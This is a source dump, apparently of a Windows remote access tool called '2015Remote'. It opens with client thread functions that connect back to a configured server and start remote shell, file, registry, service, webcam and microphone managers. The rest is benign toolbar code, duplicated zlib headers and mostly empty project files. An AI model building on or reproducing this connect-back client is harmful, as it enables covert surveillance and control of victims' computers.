76 | if (!ClientObject.ConnectServer(g_szServerIP,g_uPort))
77 | return -1;
78 |
79 | CFileManager Manager(&ClientObject);
80 |
81 | ClientObject.RunEventLoop();
82 |
83 | return 0;
84 | }
85 |
86 |
87 | DWORD WINAPI LoopTalkManager(LPVOID lParam)
88 | {
89 |
90 |
91 | IOCPClient ClientObject;
92 | if (!ClientObject.ConnectServer(g_szServerIP,g_uPort))
93 | return -1;
94 |
95 | CTalkManager Manager(&ClientObject);
96 |
97 | ClientObject.RunEventLoop();
98 |
99 | return 0;
100 | }
101 |
102 |
103 | DWORD WINAPI LoopShellManager(LPVOID lParam)
104 | {
105 | IOCPClient ClientObject;
106 | if (!ClientObject.ConnectServer(g_szServerIP,g_uPort))
107 | return -1;
108 |
109 | CShellManager Manager(&ClientObject);
110 |
111 | ClientObject.RunEventLoop();
112 |
113 | return 0;
114 | }
115 |
116 |
117 |
118 |
119 | DWORD WINAPI LoopProcessManager(LPVOID lParam)
120 | {
121 | IOCPClient ClientObject;
122 | if (!ClientObject.ConnectServer(g_szServerIP,g_uPort))
123 | return -1;
124 |
125 | CSystemManager Manager(&ClientObject,COMMAND_SYSTEM); //plist wlist
126 |
127 | ClientObject.RunEventLoop();
128 |
129 | return 0;
130 | }
131 |
132 |
133 | DWORD WINAPI LoopWindowManager(LPVOID lParam)
134 | {
135 |
136 |
137 |
138 | IOCPClient ClientObject;
139 | if (!ClientObject.ConnectServer(g_szServerIP,g_uPort))
140 | return -1;
141 |
142 | CSystemManager Manager(&ClientObject,COMMAND_WSLIST); //plist wlist
143 |
144 | ClientObject.RunEventLoop();
145 |
146 | return 0;
147 | }
148 |
149 |
150 | DWORD WINAPI LoopVideoManager(LPVOID lParam)
151 | {
152 | IOCPClient ClientObject;
153 | if (!ClientObject.ConnectServer(g_szServerIP,g_uPort))
154 | return -1;
155 |
156 | CVideoManager Manager(&ClientObject);
157 |
158 | ClientObject.RunEventLoop();
159 |
160 |
161 | return 0;
162 | }
163 |
164 |
165 | DWORD WINAPI LoopAudioManager(LPVOID lParam)
166 | {
167 | IOCPClient ClientObject;
168 | if (!ClientObject.ConnectServer(g_szServerIP,g_uPort))
169 | return -1;
170 |
171 | CAudioManager Manager(&ClientObject);
172 |
173 | ClientObject.RunEventLoop();
174 |
175 |
176 | return 0;
177 | }
178 |
179 | DWORD WINAPI LoopRegisterManager(LPVOID lParam)
180 | {
181 | IOCPClient ClientObject;
182 | if (!ClientObject.ConnectServer(g_szServerIP,g_uPort))
183 | return -1;
184 |
185 | CRegisterManager Manager(&ClientObject);
186 |
187 | ClientObject.RunEventLoop();
188 |
189 | }
190 |
191 | DWORD WINAPI LoopServicesManager(LPVOID lParam)
192 | {
193 | IOCPClient ClientObject;
194 | if (!ClientObject.ConnectServer(g_szServerIP,g_uPort))
195 | return -1;
196 | CServicesManager Manager(&ClientObject);
197 | ClientObject.RunEventLoop();
198 | }
--------------------------------------------------------------------------------
/server/2015Remote/TrueColorToolBar.cpp:
--------------------------------------------------------------------------------
1 | /***=========================================================================
2 | ==== ====
3 | ==== D C U t i l i t y ====
4 | ==== ====
5 | =============================================================================
6 | ==== ====
7 | ==== File name : TrueColorToolBar.cpp ====
8 | ==== Project name : Tester ====
9 | ==== Project number : --- ====
10 | ==== Creation date : 13/1/2003 ====
11 | ==== Author(s) : Dany Cantin ====
12 | ==== ====
13 | ==== Copyright ?DCUtility 2003 ====
14 | ==== ====
15 | =============================================================================
16 | ===========================================================================*/
17 |
18 | #include "stdafx.h"
19 | #include "TrueColorToolBar.h"
20 |
21 | #ifdef _DEBUG
22 | #define new DEBUG_NEW
23 | #undef THIS_FILE
24 | static char THIS_FILE[] = __FILE__;
25 | #endif
26 |
27 | /////////////////////////////////////////////////////////////////////////////
28 | // CTrueColorToolBar
29 |
30 | CTrueColorToolBar::CTrueColorToolBar()
31 | {
32 | m_bDropDown = FALSE;
33 | }
34 |
35 | CTrueColorToolBar::~CTrueColorToolBar()
36 | {
37 | }
38 |
39 |
40 | BEGIN_MESSAGE_MAP(CTrueColorToolBar, CToolBar)
41 | //{{AFX_MSG_MAP(CTrueColorToolBar)
42 | ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnToolbarDropDown)
43 | //}}AFX_MSG_MAP
44 | END_MESSAGE_MAP()
45 |
46 | /////////////////////////////////////////////////////////////////////////////
47 | // CTrueColorToolBar message handlers
48 | BOOL CTrueColorToolBar::LoadTrueColorToolBar(int nBtnWidth,
49 | UINT uToolBar,
50 | UINT uToolBarHot,
51 | UINT uToolBarDisabled)
52 | {
53 | if (!SetTrueColorToolBar(TB_SETIMAGELIST, uToolBar, nBtnWidth))
54 | return FALSE;
55 |
56 | if (uToolBarHot) {
57 | if (!SetTrueColorToolBar(TB_SETHOTIMAGELIST, uToolBarHot, nBtnWidth))
58 | return FALSE;
59 | }
60 |
61 | if (uToolBarDisabled) {
62 | if (!SetTrueColorToolBar(TB_SETDISABLEDIMAGELIST, uToolBarDisabled, nBtnWidth))
63 | return FALSE;
64 | }
65 |
66 | return TRUE;
67 | }
68 |
69 |
70 | BOOL CTrueColorToolBar::SetTrueColorToolBar(UINT uToolBarType,
71 | UINT uToolBar,
72 | int nBtnWidth)
73 | {
74 | CImageList cImageList;
75 | CBitmap cBitmap;
76 | BITMAP bmBitmap;
77 |
78 | if (!cBitmap.Attach(LoadImage(AfxGetResourceHandle(), MAKEINTRESOURCE(uToolBar),
79 | IMAGE_BITMAP, 0, 0,
80 | LR_DEFAULTSIZE|LR_CREATEDIBSECTION)) ||
81 | !cBitmap.GetBitmap(&bmBitmap))
82 | return FALSE;
83 |
84 | CSize cSize(bmBitmap.bmWidth, bmBitmap.bmHeight);
85 | int nNbBtn = cSize.cx/nBtnWidth;
86 | RGBTRIPLE* rgb = (RGBTRIPLE*)(bmBitmap.bmBits);
87 | COLORREF rgbMask = RGB(rgb[0].rgbtRed, rgb[0].rgbtGreen, rgb[0].rgbtBlue);
88 |
89 | if (!cImageList.Create(nBtnWidth, cSize.cy, ILC_COLOR24|ILC_MASK, nNbBtn, 0))
90 | return FALSE;
91 |
92 | if (cImageList.Add(&cBitmap, rgbMask) == -1)
93 | return FALSE;
94 |
95 | SendMessage(uToolBarType, 0, (LPARAM)cImageList.m_hImageList);
96 | cImageList.Detach();
97 | cBitmap.Detach();
98 |
99 | return TRUE;
100 | }
101 |
102 | void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uMenuID)
103 | {
104 | if (!m_bDropDown) {
105 | GetToolBarCtrl().SendMessage(TB_SETEXTENDEDSTYLE, 0, (LPARAM)TBSTYLE_EX_DRAWDDARROWS);
106 | m_bDropDown = TRUE;
107 | }
108 |
109 | SetButtonStyle(CommandToIndex(uButtonID), TBSTYLE_DROPDOWN);
110 |
111 | stDropDownInfo DropDownInfo;
112 | DropDownInfo.pParent = pParent;
113 | DropDownInfo.uButtonID = uButtonID;
114 | DropDownInfo.uMenuID = uMenuID;
115 | m_lstDropDownButton.Add(DropDownInfo);
116 | }
117 |
118 | void CTrueColorToolBar::OnToolbarDropDown(NMHDR * pnmtb, LRESULT *plr)
119 | {
120 | NMTOOLBARA * pnmtbb=(NMTOOLBARA *)pnmtb;
121 | for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) {
122 |
123 | stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i);
124 |
125 | if (DropDownInfo.uButtonID == UINT(pnmtbb->iItem)) {
126 |
127 | CMenu menu;
128 | menu.LoadMenu(DropDownInfo.uMenuID);
129 | CMenu* pPopup = menu.GetSubMenu(0);
130 |
131 | CRect rc;
132 | SendMessage(TB_GETRECT, (WPARAM)pnmtbb->iItem, (LPARAM)&rc);
133 | ClientToScreen(&rc);
134 |
135 | pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL,
136 | rc.left, rc.bottom, DropDownInfo.pParent, &rc);
137 | break;
138 | }
139 | }
140 | }
--------------------------------------------------------------------------------
/client/ClientDll/zconf.h:
--------------------------------------------------------------------------------
1 | /* zconf.h -- configuration of the zlib compression library
2 | * Copyright (C) 1995-2002 Jean-loup Gailly.
3 | * For conditions of distribution and use, see copyright notice in zlib.h
4 | */
5 |
6 | /* @(#) $Id$ */
7 |
8 | #ifndef _ZCONF_H
9 | #define _ZCONF_H
10 |
11 | /*
12 | * If you *really* need a unique prefix for all types and library functions,
13 | * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
14 | */
15 | #ifdef Z_PREFIX
16 | # define deflateInit_ z_deflateInit_
17 | # define deflate z_deflate
18 | # define deflateEnd z_deflateEnd
19 | # define inflateInit_ z_inflateInit_
20 | # define inflate z_inflate
21 | # define inflateEnd z_inflateEnd
22 | # define deflateInit2_ z_deflateInit2_
23 | # define deflateSetDictionary z_deflateSetDictionary
24 | # define deflateCopy z_deflateCopy
25 | # define deflateReset z_deflateReset
26 | # define deflateParams z_deflateParams
27 | # define inflateInit2_ z_inflateInit2_
28 | # define inflateSetDictionary z_inflateSetDictionary
29 | # define inflateSync z_inflateSync
30 | # define inflateSyncPoint z_inflateSyncPoint
31 | # define inflateReset z_inflateReset
32 | # define compress z_compress
33 | # define compress2 z_compress2
34 | # define uncompress z_uncompress
35 | # define adler32 z_adler32
36 | # define crc32 z_crc32
37 | # define get_crc_table z_get_crc_table
38 |
39 | # define Byte z_Byte
40 | # define uInt z_uInt
41 | # define uLong z_uLong
42 | # define Bytef z_Bytef
43 | # define charf z_charf
44 | # define intf z_intf
45 | # define uIntf z_uIntf
46 | # define uLongf z_uLongf
47 | # define voidpf z_voidpf
48 | # define voidp z_voidp
49 | #endif
50 |
51 | #if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
52 | # define WIN32
53 | #endif
54 | #if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
55 | # ifndef __32BIT__
56 | # define __32BIT__
57 | # endif
58 | #endif
59 | #if defined(__MSDOS__) && !defined(MSDOS)
60 | # define MSDOS
61 | #endif
62 |
63 | /*
64 | * Compile with -DMAXSEG_64K if the alloc function cannot allocate more
65 | * than 64k bytes at a time (needed on systems with 16-bit int).
66 | */
67 | #if defined(MSDOS) && !defined(__32BIT__)
68 | # define MAXSEG_64K
69 | #endif
70 | #ifdef MSDOS
71 | # define UNALIGNED_OK
72 | #endif
73 |
74 | #if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
75 | # define STDC
76 | #endif
77 | #if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
78 | # ifndef STDC
79 | # define STDC
80 | # endif
81 | #endif
82 |
83 | #ifndef STDC
84 | # ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
85 | # define const
86 | # endif
87 | #endif
88 |
89 | /* Some Mac compilers merge all .h files incorrectly: */
90 | #if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
91 | # define NO_DUMMY_DECL
92 | #endif
93 |
94 | /* Old Borland C incorrectly complains about missing returns: */
95 | #if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
96 | # define NEED_DUMMY_RETURN
97 | #endif
98 |
99 |
100 | /* Maximum value for memLevel in deflateInit2 */
101 | #ifndef MAX_MEM_LEVEL
102 | # ifdef MAXSEG_64K
103 | # define MAX_MEM_LEVEL 8
104 | # else
105 | # define MAX_MEM_LEVEL 9
106 | # endif
107 | #endif
108 |
109 | /* Maximum value for windowBits in deflateInit2 and inflateInit2.
110 | * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
111 | * created by gzip. (Files created by minigzip can still be extracted by
112 | * gzip.)
113 | */
114 | #ifndef MAX_WBITS
115 | # define MAX_WBITS 15 /* 32K LZ77 window */
116 | #endif
117 |
118 | /* The memory requirements for deflate are (in bytes):
119 | (1 << (windowBits+2)) + (1 << (memLevel+9))
120 | that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values)
121 | plus a few kilobytes for small objects. For example, if you want to reduce
122 | the default memory requirements from 256K to 128K, compile with
123 | make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
124 | Of course this will generally degrade compression (there's no free lunch).
125 |
126 | The memory requirements for inflate are (in bytes) 1 << windowBits
127 | that is, 32K for windowBits=15 (default value) plus a few kilobytes
128 | for small objects.
129 | */
130 |
131 | /* Type declarations */
132 |
133 | #ifndef OF /* function prototypes */
134 | # ifdef STDC
135 | # define OF(args) args
136 | # else
137 | # define OF(args) ()
138 | # endif
139 | #endif
140 |
141 | /* The following definitions for FAR are needed only for MSDOS mixed
142 | * model programming (small or medium model with some far allocations).
143 | * This was tested only with MSC; for other MSDOS compilers you may have
144 | * to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
145 | * just define FAR to be empty.
146 | */
147 | #if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
148 | /* MSC small or medium model */
149 | # define SMALL_MEDIUM
150 | # ifdef _MSC_VER
151 | # define FAR _far
152 | # else
153 | # define FAR far
154 | # endif
155 | #endif
156 | #if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
157 | # ifndef __32BIT__
158 | # define SMALL_MEDIUM
159 | # define FAR _far
160 | # endif
161 | #endif
162 |
163 | /* Compile with -DZLIB_DLL for Windows DLL support */
164 | #if defined(ZLIB_DLL)
165 | # if defined(_WINDOWS) || defined(WINDOWS)
166 | # ifdef FAR
167 | # undef FAR
168 | # endif
169 | # include
170 | # define ZEXPORT WINAPI
171 | # ifdef WIN32
172 | # define ZEXPORTVA WINAPIV
173 | # else
174 | # define ZEXPORTVA FAR _cdecl _export
175 | # endif
176 | # endif
177 | # if defined (__BORLANDC__)
178 | # if (__BORLANDC__ >= 0x0500) && defined (WIN32)
179 | # include
180 | # define ZEXPORT __declspec(dllexport) WINAPI
181 | # define ZEXPORTRVA __declspec(dllexport) WINAPIV
182 | # else
183 | # if defined (_Windows) && defined (__DLL__)
184 | # define ZEXPORT _export
185 | # define ZEXPORTVA _export
186 | # endif
187 | # endif
188 | # endif
189 | #endif
190 |
191 | #if defined (__BEOS__)
192 | # if defined (ZLIB_DLL)
193 | # define ZEXTERN extern __declspec(dllexport)
194 | # else
195 | # define ZEXTERN extern __declspec(dllimport)
196 | # endif
197 | #endif
198 |
199 | #ifndef ZEXPORT
200 | # define ZEXPORT
201 | #endif
202 | #ifndef ZEXPORTVA
203 | # define ZEXPORTVA
204 | #endif
205 | #ifndef ZEXTERN
206 | # define ZEXTERN extern
207 | #endif
208 |
209 | #ifndef FAR
210 | # define FAR
211 | #endif
212 |
213 | #if !defined(MACOS) && !defined(TARGET_OS_MAC)
214 | typedef unsigned char Byte; /* 8 bits */
215 | #endif
216 | typedef unsigned int uInt; /* 16 bits or more */
217 | typedef unsigned long uLong; /* 32 bits or more */
218 |
219 | #ifdef SMALL_MEDIUM
220 | /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
221 | # define Bytef Byte FAR
222 | #else
223 | typedef Byte FAR Bytef;
224 | #endif
225 | typedef char FAR charf;
226 | typedef int FAR intf;
227 | typedef uInt FAR uIntf;
228 | typedef uLong FAR uLongf;
229 |
230 | #ifdef STDC
231 | typedef void FAR *voidpf;
232 | typedef void *voidp;
233 | #else
234 | typedef Byte FAR *voidpf;
235 | typedef Byte *voidp;
236 | #endif
237 |
238 | #ifdef HAVE_UNISTD_H
239 | # include /* for off_t */
240 | # include /* for SEEK_* and off_t */
241 | # define z_off_t off_t
242 | #endif
243 | #ifndef SEEK_SET
244 | # define SEEK_SET 0 /* Seek from beginning of file. */
245 | # define SEEK_CUR 1 /* Seek from current position. */
246 | # define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
247 | #endif
248 | #ifndef z_off_t
249 | # define z_off_t long
250 | #endif
251 |
252 | /* MVS linker does not support external names larger than 8 bytes */
253 | #if defined(__MVS__)
254 | # pragma map(deflateInit_,"DEIN")
255 | # pragma map(deflateInit2_,"DEIN2")
256 | # pragma map(deflateEnd,"DEEND")
257 | # pragma map(inflateInit_,"ININ")
258 | # pragma map(inflateInit2_,"ININ2")
259 | # pragma map(inflateEnd,"INEND")
260 | # pragma map(inflateSync,"INSY")
261 | # pragma map(inflateSetDictionary,"INSEDI")
262 | # pragma map(inflate_blocks,"INBL")
263 | # pragma map(inflate_blocks_new,"INBLNE")
264 | # pragma map(inflate_blocks_free,"INBLFR")
265 | # pragma map(inflate_blocks_reset,"INBLRE")
266 | # pragma map(inflate_codes_free,"INCOFR")
267 | # pragma map(inflate_codes,"INCO")
268 | # pragma map(inflate_fast,"INFA")
269 | # pragma map(inflate_flush,"INFLU")
270 | # pragma map(inflate_mask,"INMA")
271 | # pragma map(inflate_set_dictionary,"INSEDI2")
272 | # pragma map(inflate_copyright,"INCOPY")
273 | # pragma map(inflate_trees_bits,"INTRBI")
274 | # pragma map(inflate_trees_dynamic,"INTRDY")
275 | # pragma map(inflate_trees_fixed,"INTRFI")
276 | # pragma map(inflate_trees_free,"INTRFR")
277 | #endif
278 |
279 | #endif /* _ZCONF_H */
280 |
--------------------------------------------------------------------------------
/server/2015Remote/zconf.h:
--------------------------------------------------------------------------------
1 | /* zconf.h -- configuration of the zlib compression library
2 | * Copyright (C) 1995-2002 Jean-loup Gailly.
3 | * For conditions of distribution and use, see copyright notice in zlib.h
4 | */
5 |
6 | /* @(#) $Id$ */
7 |
8 | #ifndef _ZCONF_H
9 | #define _ZCONF_H
10 |
11 | /*
12 | * If you *really* need a unique prefix for all types and library functions,
13 | * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
14 | */
15 | #ifdef Z_PREFIX
16 | # define deflateInit_ z_deflateInit_
17 | # define deflate z_deflate
18 | # define deflateEnd z_deflateEnd
19 | # define inflateInit_ z_inflateInit_
20 | # define inflate z_inflate
21 | # define inflateEnd z_inflateEnd
22 | # define deflateInit2_ z_deflateInit2_
23 | # define deflateSetDictionary z_deflateSetDictionary
24 | # define deflateCopy z_deflateCopy
25 | # define deflateReset z_deflateReset
26 | # define deflateParams z_deflateParams
27 | # define inflateInit2_ z_inflateInit2_
28 | # define inflateSetDictionary z_inflateSetDictionary
29 | # define inflateSync z_inflateSync
30 | # define inflateSyncPoint z_inflateSyncPoint
31 | # define inflateReset z_inflateReset
32 | # define compress z_compress
33 | # define compress2 z_compress2
34 | # define uncompress z_uncompress
35 | # define adler32 z_adler32
36 | # define crc32 z_crc32
37 | # define get_crc_table z_get_crc_table
38 |
39 | # define Byte z_Byte
40 | # define uInt z_uInt
41 | # define uLong z_uLong
42 | # define Bytef z_Bytef
43 | # define charf z_charf
44 | # define intf z_intf
45 | # define uIntf z_uIntf
46 | # define uLongf z_uLongf
47 | # define voidpf z_voidpf
48 | # define voidp z_voidp
49 | #endif
50 |
51 | #if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
52 | # define WIN32
53 | #endif
54 | #if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
55 | # ifndef __32BIT__
56 | # define __32BIT__
57 | # endif
58 | #endif
59 | #if defined(__MSDOS__) && !defined(MSDOS)
60 | # define MSDOS
61 | #endif
62 |
63 | /*
64 | * Compile with -DMAXSEG_64K if the alloc function cannot allocate more
65 | * than 64k bytes at a time (needed on systems with 16-bit int).
66 | */
67 | #if defined(MSDOS) && !defined(__32BIT__)
68 | # define MAXSEG_64K
69 | #endif
70 | #ifdef MSDOS
71 | # define UNALIGNED_OK
72 | #endif
73 |
74 | #if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
75 | # define STDC
76 | #endif
77 | #if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
78 | # ifndef STDC
79 | # define STDC
80 | # endif
81 | #endif
82 |
83 | #ifndef STDC
84 | # ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
85 | # define const
86 | # endif
87 | #endif
88 |
89 | /* Some Mac compilers merge all .h files incorrectly: */
90 | #if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
91 | # define NO_DUMMY_DECL
92 | #endif
93 |
94 | /* Old Borland C incorrectly complains about missing returns: */
95 | #if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
96 | # define NEED_DUMMY_RETURN
97 | #endif
98 |
99 |
100 | /* Maximum value for memLevel in deflateInit2 */
101 | #ifndef MAX_MEM_LEVEL
102 | # ifdef MAXSEG_64K
103 | # define MAX_MEM_LEVEL 8
104 | # else
105 | # define MAX_MEM_LEVEL 9
106 | # endif
107 | #endif
108 |
109 | /* Maximum value for windowBits in deflateInit2 and inflateInit2.
110 | * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
111 | * created by gzip. (Files created by minigzip can still be extracted by
112 | * gzip.)
113 | */
114 | #ifndef MAX_WBITS
115 | # define MAX_WBITS 15 /* 32K LZ77 window */
116 | #endif
117 |
118 | /* The memory requirements for deflate are (in bytes):
119 | (1 << (windowBits+2)) + (1 << (memLevel+9))
120 | that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values)
121 | plus a few kilobytes for small objects. For example, if you want to reduce
122 | the default memory requirements from 256K to 128K, compile with
123 | make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
124 | Of course this will generally degrade compression (there's no free lunch).
125 |
126 | The memory requirements for inflate are (in bytes) 1 << windowBits
127 | that is, 32K for windowBits=15 (default value) plus a few kilobytes
128 | for small objects.
129 | */
130 |
131 | /* Type declarations */
132 |
133 | #ifndef OF /* function prototypes */
134 | # ifdef STDC
135 | # define OF(args) args
136 | # else
137 | # define OF(args) ()
138 | # endif
139 | #endif
140 |
141 | /* The following definitions for FAR are needed only for MSDOS mixed
142 | * model programming (small or medium model with some far allocations).
143 | * This was tested only with MSC; for other MSDOS compilers you may have
144 | * to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
145 | * just define FAR to be empty.
146 | */
147 | #if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
148 | /* MSC small or medium model */
149 | # define SMALL_MEDIUM
150 | # ifdef _MSC_VER
151 | # define FAR _far
152 | # else
153 | # define FAR far
154 | # endif
155 | #endif
156 | #if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
157 | # ifndef __32BIT__
158 | # define SMALL_MEDIUM
159 | # define FAR _far
160 | # endif
161 | #endif
162 |
163 | /* Compile with -DZLIB_DLL for Windows DLL support */
164 | #if defined(ZLIB_DLL)
165 | # if defined(_WINDOWS) || defined(WINDOWS)
166 | # ifdef FAR
167 | # undef FAR
168 | # endif
169 | # include
170 | # define ZEXPORT WINAPI
171 | # ifdef WIN32
172 | # define ZEXPORTVA WINAPIV
173 | # else
174 | # define ZEXPORTVA FAR _cdecl _export
175 | # endif
176 | # endif
177 | # if defined (__BORLANDC__)
178 | # if (__BORLANDC__ >= 0x0500) && defined (WIN32)
179 | # include
180 | # define ZEXPORT __declspec(dllexport) WINAPI
181 | # define ZEXPORTRVA __declspec(dllexport) WINAPIV
182 | # else
183 | # if defined (_Windows) && defined (__DLL__)
184 | # define ZEXPORT _export
185 | # define ZEXPORTVA _export
186 | # endif
187 | # endif
188 | # endif
189 | #endif
190 |
191 | #if defined (__BEOS__)
192 | # if defined (ZLIB_DLL)
193 | # define ZEXTERN extern __declspec(dllexport)
194 | # else
195 | # define ZEXTERN extern __declspec(dllimport)
196 | # endif
197 | #endif
198 |
199 | #ifndef ZEXPORT
200 | # define ZEXPORT
201 | #endif
202 | #ifndef ZEXPORTVA
203 | # define ZEXPORTVA
204 | #endif
205 | #ifndef ZEXTERN
206 | # define ZEXTERN extern
207 | #endif
208 |
209 | #ifndef FAR
210 | # define FAR
211 | #endif
212 |
213 | #if !defined(MACOS) && !defined(TARGET_OS_MAC)
214 | typedef unsigned char Byte; /* 8 bits */
215 | #endif
216 | typedef unsigned int uInt; /* 16 bits or more */
217 | typedef unsigned long uLong; /* 32 bits or more */
218 |
219 | #ifdef SMALL_MEDIUM
220 | /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
221 | # define Bytef Byte FAR
222 | #else
223 | typedef Byte FAR Bytef;
224 | #endif
225 | typedef char FAR charf;
226 | typedef int FAR intf;
227 | typedef uInt FAR uIntf;
228 | typedef uLong FAR uLongf;
229 |
230 | #ifdef STDC
231 | typedef void FAR *voidpf;
232 | typedef void *voidp;
233 | #else
234 | typedef Byte FAR *voidpf;
235 | typedef Byte *voidp;
236 | #endif
237 |
238 | #ifdef HAVE_UNISTD_H
239 | # include /* for off_t */
240 | # include /* for SEEK_* and off_t */
241 | # define z_off_t off_t
242 | #endif
243 | #ifndef SEEK_SET
244 | # define SEEK_SET 0 /* Seek from beginning of file. */
245 | # define SEEK_CUR 1 /* Seek from current position. */
246 | # define SEEK_END 2 /* Set file pointer to EOF plus "offset" */
247 | #endif
248 | #ifndef z_off_t
249 | # define z_off_t long
250 | #endif
251 |
252 | /* MVS linker does not support external names larger than 8 bytes */
253 | #if defined(__MVS__)
254 | # pragma map(deflateInit_,"DEIN")
255 | # pragma map(deflateInit2_,"DEIN2")
256 | # pragma map(deflateEnd,"DEEND")
257 | # pragma map(inflateInit_,"ININ")
258 | # pragma map(inflateInit2_,"ININ2")
259 | # pragma map(inflateEnd,"INEND")
260 | # pragma map(inflateSync,"INSY")
261 | # pragma map(inflateSetDictionary,"INSEDI")
262 | # pragma map(inflate_blocks,"INBL")
263 | # pragma map(inflate_blocks_new,"INBLNE")
264 | # pragma map(inflate_blocks_free,"INBLFR")
265 | # pragma map(inflate_blocks_reset,"INBLRE")
266 | # pragma map(inflate_codes_free,"INCOFR")
267 | # pragma map(inflate_codes,"INCO")
268 | # pragma map(inflate_fast,"INFA")
269 | # pragma map(inflate_flush,"INFLU")
270 | # pragma map(inflate_mask,"INMA")
271 | # pragma map(inflate_set_dictionary,"INSEDI2")
272 | # pragma map(inflate_copyright,"INCOPY")
273 | # pragma map(inflate_trees_bits,"INTRBI")
274 | # pragma map(inflate_trees_dynamic,"INTRDY")
275 | # pragma map(inflate_trees_fixed,"INTRFI")
276 | # pragma map(inflate_trees_free,"INTRFR")
277 | #endif
278 |
279 | #endif /* _ZCONF_H */
280 |
--------------------------------------------------------------------------------
/server/2015Remote/2015Remote.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}
15 | My2015Remote
16 | MFCProj
17 |
18 |
19 |
20 | Application
21 | true
22 | MultiByte
23 | Static
24 |
25 |
26 | Application
27 | false
28 | true
29 | MultiByte
30 | Static
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 | true
44 |
45 |
46 | false
47 |
48 |
49 |
50 | Use
51 | Level3
52 | Disabled
53 | WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)
54 |
55 |
56 | Windows
57 | true
58 | zlib.lib;%(AdditionalDependencies)
59 | LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)
60 |
61 |
62 | false
63 | true
64 | _DEBUG;%(PreprocessorDefinitions)
65 |
66 |
67 | 0x0804
68 | _DEBUG;%(PreprocessorDefinitions)
69 | $(IntDir);%(AdditionalIncludeDirectories)
70 |
71 |
72 |
73 |
74 | Level3
75 | Use
76 | MaxSpeed
77 | true
78 | true
79 | WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)
80 |
81 |
82 | Windows
83 | true
84 | true
85 | true
86 |
87 |
88 | false
89 | true
90 | NDEBUG;%(PreprocessorDefinitions)
91 |
92 |
93 | 0x0804
94 | NDEBUG;%(PreprocessorDefinitions)
95 | $(IntDir);%(AdditionalIncludeDirectories)
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 | Create
168 | Create
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
--------------------------------------------------------------------------------
/server/2015Remote/2015Remote.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {c30c6669-7ee9-446c-9bfb-e472d534e2f2}
18 |
19 |
20 | {7384a2b0-7e54-4b4f-8f1e-399a170b0893}
21 |
22 |
23 | {13f8046a-69f8-4f11-a24b-6bc31c195200}
24 |
25 |
26 | {b8c1bcef-f319-4d72-be70-99c37a83bf9a}
27 |
28 |
29 | {247eff7d-6fd0-43dd-8c7e-263aad0eed5b}
30 |
31 |
32 | {89df7039-00e9-4694-91f8-fc5f023e6321}
33 |
34 |
35 | {5264e449-f09b-420d-9c72-ff8151bee746}
36 |
37 |
